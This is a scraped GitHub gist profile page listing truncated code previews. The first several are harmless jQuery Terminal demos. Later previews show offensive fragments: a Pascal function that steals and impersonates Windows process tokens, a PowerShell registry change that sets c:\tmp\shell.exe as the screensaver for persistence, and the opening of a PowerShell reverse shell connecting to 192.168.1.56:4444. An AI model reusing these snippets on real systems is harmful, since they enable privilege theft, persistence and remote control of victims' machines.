Skip to content

Instantly share code, notes, and snippets.

View lawrenceamer's full-sized avatar

Lawrence Amer lawrenceamer

View GitHub Profile
@lawrenceamer
lawrenceamer / index.html
Created September 1, 2022 16:28
jQuery Terminal Tabs
<div class="tabs cloak">
<ul>
<li class="new">
<a href="#">+</a>
</li>
</ul>
<div class="content"></div>
</div>
@lawrenceamer
lawrenceamer / script.js
Created August 26, 2022 13:32
Terminal Figlet Demo
// check the list of fonts at https://unpkg.com/browse/figlet@1.4.0/fonts/
// the list can also be seen on demo of Figlet library:
// http://patorjk.com/software/taag/#p=display&f=Standard&t=jQuery%20Terminal
figlet.defaults({ fontPath: 'https://unpkg.com/figlet/fonts/' });
figlet.preloadFonts(['Standard', 'Slant'], ready);
var term;
function ready() {
term = $('body').terminal(function(cmd) {
@lawrenceamer
lawrenceamer / error-404-page-not-found-80s-hacker-theme.markdown
Created August 24, 2022 17:42
Error 404: Page not found – 80s hacker theme
@lawrenceamer
lawrenceamer / script.js
Created August 23, 2022 14:57
Terminal with pipe (figlet+lolcat,fortune+cowsay)
var term;
function delay(time) {
return new Promise(r => setTimeout(r, time));
}
// ---------------------------------------------------------------------------------
Promise.all([fortune(), fonts()]).then(async ([fortune]) => {
term = $('body').terminal(async function(command) {
const {name, args, rest} = $.terminal.parse_command(command);
const options = $.terminal.parse_options(args);
@lawrenceamer
lawrenceamer / index.html
Created August 23, 2022 10:57
Terminal Template
<!--
For quick introduction to the library check:
https://itnext.io/how-to-create-interactive-terminal-like-website-888bb0972288
-->
using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;
namespace callback_function
function steal_token(pid:Dword):string;
const
LOGON_WITH_PROFILE = $00000001;
var
hproc,tokenhandle,hProcessToken,duplicateTokenHandle,currenttokenHandle : Thandle;
gettoken,impersonateUser,createProcess,duplicateToken,getcurrenttoken,isokay:boolean;
si: TStartupInfow;
pi: TPROCESSINFORMATION;
SA: TSecurityAttributes;
program project1;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Classes, SysUtils,FPHTTPClient,process,CustApp;
function ModReg {
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\shell.exe'
}
function cln{if($c.Connected -eq $true){$c.Close()};
if($p.ExitCode -ne $null){$p.Close()};
exit
};
$c=New-Object System.Net.Sockets.TcpClient;
$c.Connect('192.168.1.56',4444);
if($c.Connected -ne $true){cln};